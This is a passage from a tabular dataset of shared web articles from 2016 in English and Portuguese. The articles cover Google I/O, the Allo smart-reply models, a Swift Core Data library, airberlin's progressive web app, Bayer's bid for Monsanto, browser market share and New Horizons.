esse trabalho em rede nos ajuda a ter um novo olhar sobre o alcance do nosso próprio negócio e a disseminar conhecimento e desenvolver novos treinamentos"", completa Luciana Hashiba. Outras iniciativas A inovação sempre fez parte da história da Natura. Para materializar as Redes de Inovação em Ciência, Tecnologia e Inovação, foi criado em 2011 o Natura Campus , espaço de colaboração e construção de relacionamento com instituições de ciência e tecnologia, empresas e empreendedores, permitindo que todos colaborem para a geração de inovação e valor compartilhado. Desde 2003, já foram contratados 53 projetos em parceria. O Natura Campus também contempla o Canal de Ideias, em que recebem novas oportunidades de parcerias nos temas de inovação da Natura. A partir das propostas recebidas, o programa tem um papel de articulação entre as áreas de interesse da empresa e o ecossistema de inovação. Hackathons O hackathon está inserido no programa de inovação aberta Natura Campus. O primeiro hackathon de Natura Campus foi realizado em agosto de 2014, em conjunto com o MIT Media Lab. A primeira edição da maratona desafiou os participantes a criarem soluções para ampliar a experiência do consumidor, a partir da conexão de produtos com o ambiente virtual. Duas pessoas foram selecionadas para desenvolver seus projetos no Media Lab, do MIT, em Boston, um dos centros de referência mundial em inovação, design, ciência e tecnologia. A segunda edição, que aconteceu em março, foi o "" Hackathon mãos na mata : traga a natureza para o seu dia a dia"". Os selecionados foram desafiados a construir protótipos de soluções que aproximassem a marca Natura Ekos e a Amazônia do consumidor. Conheça o projeto vencedor . ""Para a Natura, o hackathon é uma oportunidade de reconhecer talentos e propostas inovadoras e promover o crescimento sustentável, ampliando o valor dos negócios gerados em nossa rede"", diz Luciana Hashiba. Cocriando O Cocriando Natura , lançado em julho de 2013, é uma rede de cocriação com pessoas que se identificam com a essência e marca Natura e querem colaborar nos desafios de inovação da empresa. Desde seu lançamento, já foram mais de 11 jornadas de cocriação nos mais diferentes desafios: transparência, sustentabilidade, design de experiência, bem-estar, temas relacionados aos produtos de Mamãe e Bebê, Tododia Ekos etc. Até o dia 30 de julho os interessados de todo o país poderão participar da nova jornada e contribuir com ideias para o tema do desafio: ""Como a Natura pode te incentivar a viver a sua beleza"" ""É um processo que fomenta novas conexões, com troca e aprendizagem mútua entre as pessoas e a marca, o que é muito rico para a inovação"" afirma Luciana Hashiba.",pt
1463682370,CONTENT SHARED,-3206777048078326150,-1443636648652872475,8859116645558208595,,,,HTML,http://thenextweb.com/google/2016/05/19/google-io-2016-look-not-run-large-event/,Google IO 2016: A look at how not to run a large event,"The keynote was great, the demos are cool and there's free food and drink for everyone there - but don't kid yourself, Google IO 2016 is the conference version of hell. Lines that span 90+ minutes, attendees being turned away at the door after waiting in said lines, and 93 degree heat with no discernible way of cooling off aside from grabbing an Uber and bailing, are the talking points (at least amongst attendees) of IO, not tech. Having to skip every other session so I can stand in line for an hour to be sure of getting in. @google didn't plan this well. #io16 - Isaac Sachs (@IsaacSachs) May 18, 2016 Those damn lines that force you to skip half of the talks... Grrrr #io16 - Djava7 (@Djava7) May 18, 2016 It's a shame. We did witness some really cool announcements (Daydream, Allo, Duo, Android Wear 2.0) and some long-awaited updates (Android N), but all were eagerly overlooked while overheated journalists hurried to file their stories and get the hell out of there. #IO16 insane lines and 93 degree heat... It's basically hell. ������ - Bryan Clark (@bryanclark) May 18, 2016 Granted, Google can't control the weather, but with over 7,000 attendees and a weather report that detailed dangerous heat, it could have done a little more. Cooling stations would have been a nice start, but I think most of us would have settled for bigger venues for the side sessions, and an inkling of just how big a problem it is when journalists descend on Mountain View from all over the world to attend I/O, and then get turned away at the door for panels they've had lined up for over a month. In a word, it was hell, but we'll be back tomorrow for day two. TNW's West Coast reporter covering Southern California and chiming in on cyber security, gadgets, cord cutting and random nonsense found on the Web. Connect via Twitter , Facebook or Instagram.",en
1463683246,CONTENT SHARED,-4974757204495953627,-709287718034731589,-7690842286223007778,,,,HTML,https://github.com/Alecrim/AlecrimCoreData,Alecrim/AlecrimCoreData,"A powerful and simple Core Data wrapper framework written in Swift. The basics AlecrimCoreData provides a default NSManagedObjectContext subclass that can be used as is, extended, or not used at all. If used it will help you with several Core Data related tasks. It is possible to use the framework with a ""vanilla"" NSManagedObjectContext too. In this case you will have the liberty to configure the Core Data stack as you want. Mixing DataContext and ""vanilla"" NSManagedObjextContext instances is possible but is strongly discouraged. Note: The DataContext() function provides a unique instance of a dataContext object on the main thread, so make sure to avoid core data concurrency violations. The generic Table<T> struct is the base for AlecrimCoreData functionality and is where the fun begins. T , in this case, is a NSManagedObject subclass type. Say you have an NSManagedObject subclass type called Person , related to a Department . To get all of the Person entities as an array, use the following methods: You can also skip some results: Or take some results only: Or, to return the results sorted by a property: Or, to return the results sorted by multiple properties: Or, to return the results sorted by multiple properties, ascending or descending: If you have a unique way of retrieving a single entity from your data store (such as via an identifier), you can use the first method: You can filter the results using the filter method: You can combine multiple filters and other methods as well: Or: You can count entities in your persistent store using the count method. Or: Or: When you need to create a new instance of an Entity, use: You can also create or get the first existing entity matching the criteria. If the entity does not exist, a new one is created and the specified attribute is assigned from the searched value automatically. To delete a single entity: To delete many entities: You can save the data context in the end, after all changes were made. Another important part of AlecrimCoreData is the use of strongly-typed query attributes. A lot of boilerplate code is required to support strongly typed queries. With this in mind, the ACDGen tool was created. All you have to do is point ACDGen to your managed object model and the source code for the entities is automatically generated, including the AlecrimCoreData query attributes if you want. Using the generated strongly-typed query attributes is completely optional, but with them the experience with AlecrimCoreData is greatly improved. The use of strongly-typed query attributes requires a project that has generated extensions of it's model classes using ACDGen . ACDGen binary and source code are avaible on ""ACDGen/Bin"" and ""ACDGen/Source"" folders respectively. Advanced use OK. You can write code like this: But you can do even more with AlecrimCoreData . There is a implementation of NSFetchedResultsController (for OS X) and FetchRequestController that is a strongly-typed wrapper for NSFetchedResultsController . You are invited to read the code and discover more possibilities (and to help us to improve them and create new ones). There are methods for aggregating, asynchronous fetching in background and many others. You can read the AlecrimCoreData documentation at for more information. You can order and filter entities not using the AlecrimCoreData query attributes at all. In this case you lose the strongly-typed attributes, but gain in flexibility. You can even mix the two approaches without any problem. You can order the entities using NSSortDescriptor instances: Or: You can also use the sortByAttributeName::: method: You can filter entities using NSPredicate instances: If you want to use the DataContext class and initialize it's instance without parameters AlecrimCoreData will try to infer the managed object model and the persistent store locations, based on most common cases. You can however create and configure a DataContextOptions struct and pass it as parameter to DataContext initializer. There are helper initializers on DataContextOptions , but if you know the URLs or know how to construct them it may be better to pass these locations yourself to the DataContextOptions initializer directly. Other options can be configured using DataContextOptions (the defaultBatchSize and defaultComparisonPredicateOptions properties). Unlike the managed object model and persistent store locations, these options are global and static for the entire framework (and your project). Since AlecrimCoreData version 4 the configuration of your Core Data managed object contexts to include iCloud integration are not made by the framework anymore. This type of integration is very trick and we think it is better a manually approach, case by case, including your own observers and handlers. You can, however, use the configureUbiquityWithContainerIdentifier::: method and the ubiquityEnabled property from the DataContextOptions struct to help you to configure iCloud integration if you want. Since AlecrimCoreData version 4 the DataContext is an NSManagedObjectContext subclass and the framework can work with ""vanilla"" NSManagedObjectContext instances as well. So you can integrate and use other frameworks as you are using only NSManagedObjectContext instances and there should be no side effects. Minimum Requirements Swift 2 Xcode 7.0 OS X 10.9 / iOS 8.0 / watchOS 2.0 Installation CocoaPods is a dependency manager for Cocoa projects. CocoaPods 0.36 adds supports for Swift and embedded frameworks. You can install it with the following command: To integrate AlecrimCoreData into your Xcode project using CocoaPods, specify it in your Podfile : Then, run the following command: You can add AlecrimCoreData as a git submodule, drag the AlecrimCoreData.xcodeproj file into your Xcode project and add the framework product as an embedded binary in your application target. master - The production branch. Clone or fork this repository for the latest copy. develop - The active development branch. Pull requests should be directed to this branch. If you want to contribute, please feel free to fork the repository and send pull requests with your fixes, suggestions and additions. :-) The main areas the framework needs improvement: Correct the README, code and examples for English mistakes; Write more and better code documentation; Write unit tests; Replace some pieces of code with more ""elegant"" ones. AlecrimCoreData is released under an MIT license. See LICENSE for more information.",en
1463687926,CONTENT SHARED,-6858665134018491791,-1443636648652872475,8859116645558208595,,,,HTML,http://googleresearch.blogspot.com/2016/05/chat-smarter-with-allo.html,Chat Smarter with Allo,"At Google, we are continuously building products powered by Machine Learning to delight our users and simplify their lives. Today, we are excited to talk about the technology behind Allo , a new smart messaging app that uses the power of neural networks and Google Search to make your text conversations easier and more productive. Just like Smart Reply for Inbox , Allo understands the conversation history to generate a set of suggestions that the user will likely want to respond with. In addition to understanding the context of your conversation, Allo learns your individual style, so the responses are personalized for you. How does it work? About a year ago, we started exploring how we can make communication easier and more fun. The idea of Smart Reply for Allo came up in a brainstorming session with my teammates Sushant Prakash and Ori Gershony who then helped me lead our team to build this technology. We began by experimenting with neural network based model architectures which had proven to be successful for sequence prediction, including the encoder-decoder model used in Smart Reply for Inbox. One challenge we faced was that response generation in online conversations have very strict latency requirements. To address this, Pavel Sountsov and Sushant came up with an innovative two-stage model that works as follows. First, a recurrent neural network looks at the conversation context one word at a time and encodes it in the hidden state of a long short term memory (LSTM). Below, we show an example with a context 'Where are you?'. The context has three tokens, each of which is embedded into a continuous space and input to the LSTM. The LSTM state now encodes the context as a continuous vector. This vector is used to generate the response as a discretized semantic class. Each semantic class is associated with a set of possible messages that belong to it. We use a second recurrent network to generate a specific message from that set. This network also converts the context into a hidden LSTM state but this time the hidden state is used to generate the full message of the reply one token at a time. For example, now the LSTM after seeing the context ""Where are you?"" generates the tokens in the response: ""I'm at work"". A beam search is used to efficiently select the top-N highest scoring responses from among the very large set of possible messages that a LSTM can generate. A snippet of the search space explored by such a beam-search technique is shown below. As with any large-scale product, there were several engineering challenges we had to solve in generating a set of high-quality responses efficiently. For example, in spite of the two staged architecture, our first few networks were very slow and required about half a second to generate a response. This was obviously a deal breaker when we are talking about real time communication apps! So we had to evolve our neural network architecture further to reduce the latency to less than 200ms. We moved from using a softmax layer to a hierarchical softmax layer which traverses a tree of words instead of traversing a list of words thus making it more efficient. Another interesting challenge we had to solve when generating predictions is controlling for message length. Sometimes none of the most probable responses are appropriate - if the model predicts too short a message, it might not be useful to the user, and if we predict something too long, it might not fit on the phone screen. We solved this by biasing the beam search to follow paths that lead to higher utility responses instead of favoring just the responses that are most probable. That way, we can efficiently generate appropriate length response predictions that are useful to our users. Personalized for you The best part about these suggestions is that over time they are personalized to you so that your individual style is reflected in your conversations. For example, if you often reply to ""How are you?"" with ""Fine."" instead of ""I am good."", it will learn your preference and your future suggestions will take that into account. This was accomplished by incorporating a user's ""style"" as one of the features in a Neural Network that is used to predict the next word in a response, resulting in suggestions that are customized for your personality and individual preferences. The user's style is captured in a sequence of numbers that we call the user embedding. These embeddings can be generated as part of the regular model training, but this approach requires waiting for many days for training to be complete and it cannot handle more than a handful of millions of users. To solve this issue, Alon Shafrir implemented a L-BFGS based technique to generate user embeddings quickly and at scale. Now, you'll be able to enjoy personalized suggestions after only a short time of using Allo. More than just English The neural network model described above is language agnostic so building separate prediction models for each language works quite well. To make sure that responses for each language benefit from our semantic understanding of other languages, Sujith Ravi came up with a graph-based machine learning technique that can connect possible responses across languages. Dana Movshovitz-Attias and Peter Young applied this technique to build a graph that connects responses to incoming messages and to other responses that have similar word embeddings and syntactic relationships. It also connects responses with similar meaning across languages based on the machine translation models developed by our Translate team . With this graph, we use semi-supervised learning , as described in this paper , to learn the semantic meaning of responses and determine which are the most useful clusters of possible responses. As a result, we can allow the LSTM to score many possible variants of each possible response meaning, allowing the personalization routines to select the best response for the user in the context of the conversation. This also helps enforce diversity as we can now pick the final set of responses from different semantic clusters. Here's an example of how the graph might look for a set of messages related to greetings: Beyond Smart Reply I am also very excited about the Google assistant in Allo with which you can converse and get information about anything that Google Search knows about. It understands your sentences and helps you accomplish tasks directly from the conversation. For example, the Google assistant can help you discover a restaurant and reserve a table from within the Allo app when chatting with your friends. This has been made possible because of the cutting-edge research in natural language understanding that we have been doing at Google. More details to follow soon! These smart features will be part of the Android and iOS apps for Allo that will be available later this summer. We can't wait for you to try and enjoy it! We wish to acknowledge the hard work of the following in building Smart Reply: Pranav Khaitan, Sushant Prakash, Pavel Sountsov, Alon Shafrir, Max Gubin, Shu Zhang, Sunita Sarawagi, Ori Gershony, Sergey Nazarov, Hung Pham, Harini Krishnamurthy, Ryan Cassidy, Dave Citron, Patrick McGregor, Sujith Ravi, Dana Movshovitz-Attias, Peter Young, Vivek Ramavajjala",en
1463691840,CONTENT SHARED,-2747266787901704910,-8860671864164757449,-6529151910180471349,,,,HTML,http://oglobo.globo.com/economia/bayer-propoe-comprar-monsanto-para-formar-maior-agroquimica-do-mundo-19337913,Bayer propõe comprar Monsanto para formar a maior agroquímica do mundo,"Bayer apresenta proposta para comprar a americana Monsanto - JOHN MACDOUGALL / AFP NOVA YORK e FRANKFURT - O grupo farmacêutico e químico alemão Bayer fez uma proposta não solicitada de aquisição da companhia americana de sementes Monsanto, visando criar a maior fornecedora agrícola do mundo e assumir vantagem nos mercados convergentes de pesticidas e sementes. A Monsanto revelou a aproximação na quarta-feira, antes da Bayer confirmar seu movimento, ainda que nenhuma das duas tenha divulgado os termos da proposta. O valor de mercado de US$ 42 bilhões da Monsanto significa que o acordo poderia superar o plano de aquisição da companhia suíça de agroquímicos Syngenta pela chinesa ChemChina - um negócio que a própria Monsanto visou no ano passado - e pode encarar obstáculos do regulador antitruste dos Estados Unidos. A Bernstein Research, estima que o preço em € 41.9 bilhões (aproximadamente US$ 47 bilhões) mais € 6.7 bilhões em dívidas assumidas. Analistas da Citi acreditam que a Bayer provavelmente terá que pagar um valor até 16 vezes maior do lucro da Monsanto. O que implica em um valor entre € 57 bilhões e € 65 bilhões, já com as dívidas inclusas. Um comunicado da Monsanto disse que sua diretoria está revisando a proposta, que é objeto de análise, aprovação regulatória e outras condições. Não há garantia de que qualquer transação será concluída, acrescentou. Na manhã de hoje as ações da Bayer tombavam mais de 9 %, tocando nesta quinta-feira as mínimas de dois anos e meio, com alguns investidores preocupados com o custo potencial do acordo. Já as ações da Monsanto subiam mais de 4 %. Newsletter As principais notícias do dia no seu e-mail. TROCAR IMAGEM Quase pronto... Ocorreu um erro. Tente novamente mais tarde. Email inválido. {{mensagemErro}}",pt
1463693988,CONTENT SHARED,1468327003955810686,-1032019229384696495,-3222296078930623200,,,,HTML,https://medium.com/javascript-scene/what-is-webassembly-the-dawn-of-a-new-era-61256ec5a8f6,What is WebAssembly? The Dawn of a New Era - JavaScript Scene,"It's much harder to get real work done when you're writing directly in assembly language. So why do we need this WebAssembly thing? We need WebAssembly because as flexible as JavaScript is, it's still too hard to express many of the things we may want to in JavaScript, and the features we'd need to make it easy might add complexity to a language that already confuses many users . WebAssembly gives us access to a set of low level building blocks that we can use to construct just about anything you can imagine. How is this different from JavaScript? The key words are low-level . It defines primitives including a range of types and operations on those types, literal forms for them, control-flow, calls, a heap, etc... These are very simple primitives. Nothing fancy. No complicated object system (prototypal or otherwise). No built-in automatic garbage collector following you around and stopping you periodically while it cleans up your scraps. What Exactly is WebAssembly? WebAssembly defines an Abstract Syntax Tree (AST) that gets stored in a binary format . Binary is great because it means we can create smaller app bundles . You're probably wondering how we'll debug a binary language format. Luckily, while we're stepping through the debugger that will inevitably appear in browsers, the AST will be represented in a (moderately) friendly text format . I'd love to show you examples, but they're a bit scarce right now. It will probably be a bit less readable than handwritten JavaScript, but about as readable as compiled asm.js . Maybe more readable. We'll see. What will WebAssembly be used for? Among other things, it will be easy to express things like threads and SIMD -  a fancy word that means you can line up multiple chunks of data next to each other and invoke a single instruction to operate on all of them at the same time. It stands for S ingle I nstruction, M ultiple D ata. That means fat, parallel processing pipelines for your realtime video stream effects processor. If you have your finger on the pulse, you've probably already heard of doing this in JS, but I've always found it a bit awkward to try to do low level stuff like this using JavaScript's existing type system. This is one of those cases where you'll probably want to forget about the object system, the garbage collector, and all the fancy dynamic stuff. Just line up some raw bits in little rows and crunch through them as fast as possible. Show me the Apps Games, VR and augmented reality are the obvious examples. Most of the current WebAssembly demos use Unity or Unreal Engine, both of which already support compiling to asm.js. Right now, music production apps like Ableton Live and video production apps like Adobe Premier Pro are still a bit awkward to port to the web. Not impossible, mind you, just awkward. There are still lots of problems to solve, like better timing guarantees for data intensive realtime apps. We'll also see apps that stream big channels of data through networks of processing functions like a guitar effects pedalboard . These are traditionally things that most people don't think of when they think of JavaScript. A lot of people would probably think it's crazy to even try. But JavaScript is really a great language to build most of the code required by any app you can dream up.",en
1463694744,CONTENT SHARED,-1453783314552286835,-1032019229384696495,-3222296078930623200,,,,HTML,https://flights.airberlin.com/en-DE/progressive-web-app,Progressive Web App - first introduced on Google I/O | airberlin,"airberlin is delighted to be the first airline in the world to develop a progressive web app. Hannes Schwager, Head of Mobile & Innovations at airberlin: ""The intelligent networking of mobile services in the airline industry will continue to become increasingly important and we know that our passengers, no matter where they are in the world, want to be able to check in easily and conveniently from their mobile devices. That is why we have worked with our internal innovations team to create an app that combines the best features of an app and a web application."" Progressive web app technology makes it possible for airberlin passengers to access their personal boarding pass and further travel information about their destination at any time, wherever they are and even without an internet connection, after a one-time web check-in. This means airberlin can give its passengers even more flexible travel comfort - and makes the mobile future a little more tangible today. The innovation will be presented exclusively at the prestigious Google I/O developer conference from 18 th to 20 th May 2016 in San Francisco. Google will present the latest hardware and software solutions to a professional audience of more than 7,000 developers and countless live stream viewers during the internet giant's most important technology conference. Progressive web app: all about it All the technical details What is a Progressive Web App? A website that provides an app-like experience Offline first approach using caching Service worker (JavaScript) Available for Chrome 40, Firefox 40 and Opera The benefits of a progressive web app Available offline or with a slow connection Add-to-home icon can be added in the dialogue as needed Push alerts are possible Very fast loading times Use case: beta version PWA look & feel Step by step through the progressive web app Dashboard - Add flight One-step check-in Boarding passes: always on hand Journey details at a glance Name: Schwager PNR: IO2016 How we built the airberlin PWA by Marian Pöschmann and Axel Michel What we used Web Components : Following the simple idea, that everything except the app shell is a component. Using Polymer 1.0 ( ) as a Polyfill, we created components for the slider, which contains all available board-cards, the board-card itself (displaying the destination image and flight information), the boarding pass (QR-code), journey details, destination information, as well as the check-in and confirmation forms. Custom Events : To interact between the different components as well as the the basic application script which handles / centralizes async requests, history, app data and date handling. WebSQL : In addition to the offline service worker we tried to improve offline experience by using localForage ( ) as a wrapper around IndexedDB, WebSQL, and / or localStorage. The complete communication between server and client is JSON based to simplify this kind of data storage. HistoryAPI : The PWA is a one-page application. Since service worker / cache does not work with a hash in an url, we decided to use GET parameter to identify the different states and views of the app. A decision, with which we ran into minor offline availability problems. As a learning - do not use keys only, always send a valid pair, if you want the request to be handled properly. Or you recreate your own request depending on the relevant data of the url (see the code example of the service worker further down). Service worker : As mentioned, it's a single page app with only one use case, that means - compared with other projects - adding on service worker offline support had been rather simple. The app-shell itself is cached inside the install routine, the outline and the data on its first request. Removing the correct data at the correct time was a bit more challenging. We also integrated push notifications to enable the two-tap check-in process. VanillaJS : For the rest. Some basic DOM-selectors, a few async requests, there was no need for additional libraries. Except moment.js ( ), since we wanted some kind of 'date awareness' for the app. It has to handle different timezones, e.g. to display the correct journey step or to disable the boarding pass. Manifest and Meta data : Allows the user to add the application to the home screen. Even if there is currently no offline support on iOS, we decided to provide a proper app icon, title and color theme on android and iOS. What we did Lazy loading - Don't block the DOM : Besides our major goals: A quick check-in and the possibility to complete boarding without any additional application, we wanted the app to be fast. Therefore we load everything except the critical CSS and some basic placeholders asynchron without blocking the DOM. Basic HTML structure: Initial JavaScript: So basically all what is sent with the first request is a skeleton of the app, with a menubar and colored placeholders for the dashboard, menu options, footer (the web components) and a short intro text in the visible area. The main CSS, the core script and the vendor scripts (polymer, moment, local forage) are loaded deferred, finally the core loads the different polymer elements. Paul Lewis wrote a great article on that: Comparing the actual check-in page of m.airberlin with the new approach the initial loading time is almost the same (about ~1.5s and ~2.5s on 3G), but the starting point of rendering is significantly lower. (~0.5s vs. ~1.2s), this is still (and will always be) work in progress. However, using lazy loading and placeholder styling to prevent FOUC (Flash of unstyled content) reduces the time of starring at a blank screen. Minimize - Blurry to hurry : Serving images in different sizes, depending on screen size and resolution should be common sense, but a lot of modern mobile devices require rather large images for a high quality result. Based on the concept used by Facebook in its native apps and an HTML/SVG/CSS adaption described in this article ( ) we use very small images (60x40 px) and load the optimized variant async - until it comes from cache. Get the Service Worker working : Our very first version of the service worker had been a few lines of code. We loaded all of our static assets when initializing the worker, and once installed it fetched and cached simply everything. For our demo this is sufficient, since we only provide one flight, one destination, there won't be any flight history and nothing which can be out of date. In real, we needed more. We have flight data, e.g. an e-ticket which has to be disabled or removed after the flight. In addition, we have related data for each flight, e.g. some information and images for each destination. Spamming the cache by storing all related data for all flights over all time isn't a good idea. Therefore we decided to remove everything with a delay of 48 hours after the flight. Since we also use WebSQL / local storage, we needed to do this twice. The following code fragments are showing our current implementation draft: Code Fragment app.js: Code Fragment service-worker.js: Inside the app.js (triggered from different polymer elements) a method tests, if the stored data is still valid or not. In case it is outdated, the script uses service worker post messages (see: ) to trigger the cache delete inside the worker and removes the data from local storage. Finally it triggers a custom event to tell all listeners (polymer elements) that the data has been changed. The sample code also contains part of the fetch handler. We reduced the cache ‚url' identifier to the check-in number by creating an own Request. Which allows us to easily identify the data when deleting and brought up a second benefit: The requested URL's might contain various parameters in future which change the url, but not the data itself (e.g. data for google campaigns), reducing the url to its relevant part provides a solution for this. One more thing I would like to mention: In our first draft we put all web-components inside the install routine of the service-worker, and we returned all this, so we blocked the service-worker until every asset had been loaded. At the very same time we do some lazy loading for these elements, the CSS and scripts. While fetching we stored 'everything' in cache. Scanning the timeline of the page, and the amount of requests, it was more efficient to reduce the number of required files and let fetch do the rest. Add to home screen - if useful : Currently you can't trigger ‚add-to-home-screen' message and there is some unknown magic in it under which conditions the message is shown. In our case we also have an additional condition when this message should be displayed. Going offline is possible after you checked-in, not before. Since you can't trigger the message, you could go for your own dialog, explaining the user how to do ‚add-to-home-screen' via the menu. To implement your own conditions, you'll need to defer the event: In our case the message pops up when the client closes the massage window, that the ticket has been saved. Process integration : Due to it's atomic structure, a polymer element normally comes with inline CSS and JavaScript. Surely you are able to integrate external stylesheets and scripts in polymer elements, but the inline approach is fast. Only downside, like this it is complicated to maintain the code, especially the CSS part. Our solution - a Grunt task named 'grunt-inline' ( ) and SCSS as CSS-precompiler. Each element gets its own SCSS file which includes basic settings (like variables and functions), as well as normalizing styles. The grunt task takes the generated CSS and writes the inline style and script tags to the element. For sure, the very same is possible with gulp and LESS. What we learned (so far) Web components : Using arrays of objects as a database for polymer elements can be quite tricky when updating the data. Especially when you work with nested components, in our case the slider which contains all board-cards. Since the rendering of all data went from server to client, we only need to transfer a bit of JSON data and some binary files, great for response time, great for the capacity utilization of the server. Measuring the loading time over different devices it gets a bit more ambivalent. Pre-rendering complex data on the server and serve the complete html is faster on older / less powerful devices (although the start of first rendering takes longer). If the client cache is working, this is only true for the very first request - if not you should do some serious testing what you do on server side and what not. Service worker : On the first view easy to integrate and the benefits are simply great: Not only the increase of speed and rendering, the offline availability, it also removes a lot of requests from the server (which helps to speed up thinks even further). The complicated part is not the script itself, it is the classic question how to cache properly. Also, for the moment the implementation of service workers differs a lot, only a subset of android users get the full benefit of this technology. However this is no argument for 'not implementing', but you still need an eye on the word progressive inside Progressive Web Apps. On iOS for example, you could add our PWA to the home screen too, due to browser caching and local storage you could open it (with some luck) even if your network is slow or down but it won't take long and you would see the dinosaur. Continue Reading: about airberlin airberlin is one of the leading airlines in Europe and flies to 147 destinations worldwide each year. This includes german destinations such as Berlin and Dusseldorf , popular european travel destinations such as Majorca , Paris und Istanbul as well as destinations in Italy and Spain . Germany's second largest airline carried more than 30.2 million passengers in 2015. airberlin offers a global route network through its strategic partnership with Etihad Airways, which has a 29.21 percent share in airberlin, and through membership of the one world ® airline alliance. topbonus, the frequent flyer programme of airberlin is one of the leading programmes in Europe with more than 4 million members. The airline with the award-winning service operates codeshare flights worldwide with 22 airlines. The fleet is among the most modern and eco-efficient in Europe. Together with other airlines, airberlin belongs to Etihad Airways Partners, a new brand with which Etihad has been uniting shared activities since the end of 2014.",en
1463695207,CONTENT SHARED,6045455576279706291,-1443636648652872475,8859116645558208595,,,,HTML,http://www.engadget.com/2016/05/18/google-not-killing-hangouts-for-allo/,Google isn't abandoning Hangouts for its new chat apps,"Allo, on the other hand, is a mobile app more comparable to WhatsApp, Messenger and Line. You don't even need a Gmail account to sign up -- all you need is a phone number. Google introduced Allo, along with its video calling companion Duo, at I/O today. The company describes it as a smart messaging app imbued with the powers of artificial intelligence. It can conjure up automatic replies, make reservations for you in-app and even has an Incognito mode for encrypted messaging . Allo and Duo won't be out until sometime this summer for both iOS and Android users, so you'll have to make do with your simpler chat apps for now.",en
1463696081,CONTENT SHARED,8076265166566225141,-1130272294246983140,788079039024593379,,,,HTML,http://www.zeldman.com/2015/12/24/the-year-in-design/,The Year in Design - Zeldman on Web & Interaction Design,"Mobile is today's first screen. So design responsively, focusing on content and structure first. Websites and apps alike should remove distractions and let people interact as directly as possible with content. 90 percent of design is typography. And the other 90 percent is whitespace. Boost usability and pleasure with progressive disclosure: menus and functions that appear only when needed. One illustration or original photo beats 100 stock images. Design your system to serve your content, not the other way around. Remove each detail from your design until it breaks. Style is the servant of brand and content. Style without purpose is noise. Nobody waits. Speed is to today's design what ornament was to yesterday's. Don't design to prove you're clever. Design to make the user think she is. Also published in Medium Translated into German (also here ) by Mark Sargent Translated into French by Jean-Baptiste Sachsé",en
1463707577,CONTENT SHARED,379773866860040428,-7456488753754080246,8916924129101545638,,,,HTML,http://gs.statcounter.com/press/firefox-browser-edges-out-microsoft-globally-for-first-time,Firefox edges out Microsoft globally for first time in browser wars | StatCounter Global Stats,"Firefox edges out Microsoft globally for first time in browser wars Meanwhile Google's Chrome boosts share worldwide San Francisco, CA, 17th May, 2016: Firefox narrowly overtook Microsoft's combined Internet Explorer (IE) and Edge browsers for the first time globally in April in terms of desktop internet usage, according to independent web analytics company StatCounter . Its analytics arm, StatCounter Global Stats finds that Firefox took 15.6% of worldwide desktop browser usage in April compared to a combined 15.5% for IE and Edge. Google's Chrome continues to lead the way with 60.5% worldwide. ""Microsoft might have expected a boost to its overall browser share as the result of the launch of the Windows 10 with Edge but it hasn't happened to date,"" commented Aodhan Cullen, CEO, StatCounter. ""Chrome has continued to gain share globally."" StatCounter data finds that Chrome increased worldwide internet usage from 53% in April last year to 60.5% in 2016 on the desktop and from 44.3% to 47.4% across all platforms. Desktop: All platforms: In the US, IE and Edge combined (25.2%) are still ahead of Firefox (13.4%) for desktop internet usage in April. Google Chrome leads on 51.6%. Similarly in the UK, Chrome is leading on 54.2%. IE and Edge combined have 21.8% and Firefox is in third place with 13.2%. StatCounter Global Stats data is based on over 15 billion page views per month to over three million websites. Further information: StatCounter's ( ) core business is to provide companies, agencies, bloggers, self-employed and charities with data to measure activity on their website, blog or forum. Key features include a free option, ease of use, independence and ability to view individual visitors in real time. Ends For interview with Aodhan Cullen, photo or press queries: Ronnie Simpson, Simpson Consulting PR E: ronnie@simpsonconsulting.ie Mobile: +353 86 855 9410",en
1463749016,CONTENT SHARED,8835339470389644264,-1387464358334758758,4255314756189922878,,,,HTML,http://googlediscovery.com/2016/05/19/aplicativos-do-android-agora-podem-reagir-com-o-ambiente/,Aplicativos do Android agora podem reagir com o ambiente | Google Discovery,"O Google anunciou durante a conferência para desenvolvedores do Google I/O a introdução de novas ferramentas para desenvolvedores que permite a criação de aplicações que se personalizam com ambiente do usuário. De acordo com a empresa, um aplicativo de streaming de música poderia, por exemplo, exibir uma lista de reprodução mais animada quando o usuário conecta os fones de ouvido e começar a correr. Os aplicativos também poderiam lançar um alerta caso exista uma farmácia próxima para comprar medicamentos - mas só iria fazê-lo caso o usuário esteja dirigindo perto da loja e dentro do horário de atendimento. Também seria possível criar um despertador inteligente que poderia decidir o horário de despertar com base na análise do horário que o usuário foi deitar e sua primeira reunião do dia. Para dar esta funcionalidade mais inteligente, o Google irá introduzir uma nova API ""Awareness"" , que estará disponível após o encerramento do evento. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463750079,CONTENT SHARED,-6180514744351188891,-492179582639058400,496915612843511273,,,,HTML,http://m.gizmodo.uol.com.br/1994-jr1-cinturao-de-kuiper/,Um objeto longínquo mais distante que Plutão está entrando em foco,"Por: Maddie Stone 20 de maio de 2016 às 9:28 COMPARTILHE Mesmo após explorar Plutão , a sonda New Horizons da NASA ainda não terminou seu trabalho no sistema solar exterior. Pela segunda vez, ela observou o 1994 JR1 , um objeto do Cinturão de Kuiper com 145 km de largura que orbita a mais de 5 bilhões de km do sol. >>> A imagem mais próxima já capturada de um objeto do Cinturão de Kuiper >>> Brian May, da banda Queen, vira colaborador científico da New Horizons As observações mais recentes, que foram feitas em 7 e 8 de abril pelo Long Range Reconnaissance Imager e reunidas no gif abaixo, quebram o próprio recorde da New Horizons para o nosso encontro mais próximo com um objeto do Cinturão de Kuiper. Esse recorde foi estabelecido em novembro , quando a sonda observou o JR1 a uma distância de 280 milhões de km. Aqui estava JR1 em novembro: E aqui está ele no mês passado, a uma distância de apenas 111 milhões de km: Essas observações permitiram à equipe científica da New Horizons começar a formar um retrato da solitária rocha espacial. Podemos agora identificar a localização do JR1 dentro de 1.000 km - é a órbita mais precisamente definida para um objeto do Cinturão de Kuiper. Após determinar as coordenadas, os astrônomos podem descartar uma teoria de que JR1 seria uma espécie de lua de Plutão. Os novos dados também revelam que o JR1 está girando rapidamente, completando uma rotação completa em torno do seu eixo a cada 5,4 horas. ""Isso tudo faz parte da excitação em explorar novos lugares e ver coisas nunca antes vistas"", diz John Spencer, membro da equipe científica da New Horizons, em comunicado . Na verdade, estes são os nossos primeiros vislumbres de um reino misterioso cuja existência os astrônomos só descobriram há algumas décadas. Você pode pensar no Cinturão de Kuiper como um 